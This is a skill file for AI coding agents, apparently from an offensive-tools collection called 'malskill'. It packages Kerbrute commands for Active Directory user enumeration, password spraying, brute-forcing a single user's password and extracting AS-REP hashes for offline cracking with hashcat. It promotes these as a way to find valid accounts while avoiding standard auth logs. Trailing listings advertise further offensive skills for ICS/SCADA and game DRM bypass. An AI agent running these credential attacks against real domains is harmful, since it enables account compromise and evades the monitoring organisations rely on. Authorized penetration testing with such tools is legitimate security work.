offensive-tools/windows/kerbrute/SKILL.md
Kerberos-based user enumeration and password spraying tool for Active Directory. Use when asked to enumerate valid AD usernames via Kerberos pre-auth, perform password spraying against AD, brute-force a specific user's password, or identify valid accounts without triggering standard auth logs.
npx skillsauth add aeondave/malskill kerbruteInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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Fast Kerberos user enumeration and password spraying — leverages Kerberos pre-auth errors for stealthy enumeration.
# Enumerate valid users
kerbrute userenum -d domain.local --dc dc.domain.local users.txt
# Password spray
kerbrute passwordspray -d domain.local --dc dc.domain.local users.txt "Password123"
# Brute-force single user
kerbrute bruteuser -d domain.local --dc dc.domain.local passwords.txt john.doe
| Command | Description |
|---------|-------------|
| userenum | Enumerate valid usernames via Kerberos pre-auth |
| passwordspray | Spray a single password against many users |
| bruteuser | Brute-force a single user's password |
| bruteforce | Brute-force user:password pairs from file |
| Flag | Description |
|------|-------------|
| -d <domain> | Target domain (e.g., domain.local) |
| --dc <dc> | Domain controller IP or hostname |
| -t <n> | Threads (default 10) |
| -o <file> | Output valid accounts to file |
| --hash-file <file> | Output found hashes to file (AS-REP roasting) |
| --downgrade | Force RC4 (weaker) encryption |
| -v | Verbose |
| --safe | Lock out protection (stop at 3 failures per user) |
| --delay <ms> | Delay between requests (milliseconds) |
# User enumeration from a username list
kerbrute userenum -d corp.local --dc 10.10.10.1 usernames.txt -o valid_users.txt -v
# Generate usernames from a name list first
# e.g., john.doe, jdoe, johnd, etc.
# Safe password spray (avoid lockouts)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 valid_users.txt "Spring2024!" \
--safe --delay 1000
# Get AS-REP hashes for users without pre-auth (then crack offline)
kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt --hash-file asrep_hashes.txt
# Crack with hashcat: hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt
# Combined spray + extract
kerbrute bruteforce -d corp.local --dc 10.10.10.1 user_pass_pairs.txt
Kerbrute generates KDC_ERR_C_PRINCIPAL_UNKNOWN errors for invalid users (event 4768 not generated). Valid user hits produce KDC_ERR_PREAUTH_FAILED (logged as 4771). Much stealthier than LDAP enumeration.
| File | When to load |
|------|--------------|
| references/attacks.md | Kerberos attack chain (AS-REP roasting, Kerberoasting), username generation, detection evasion |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.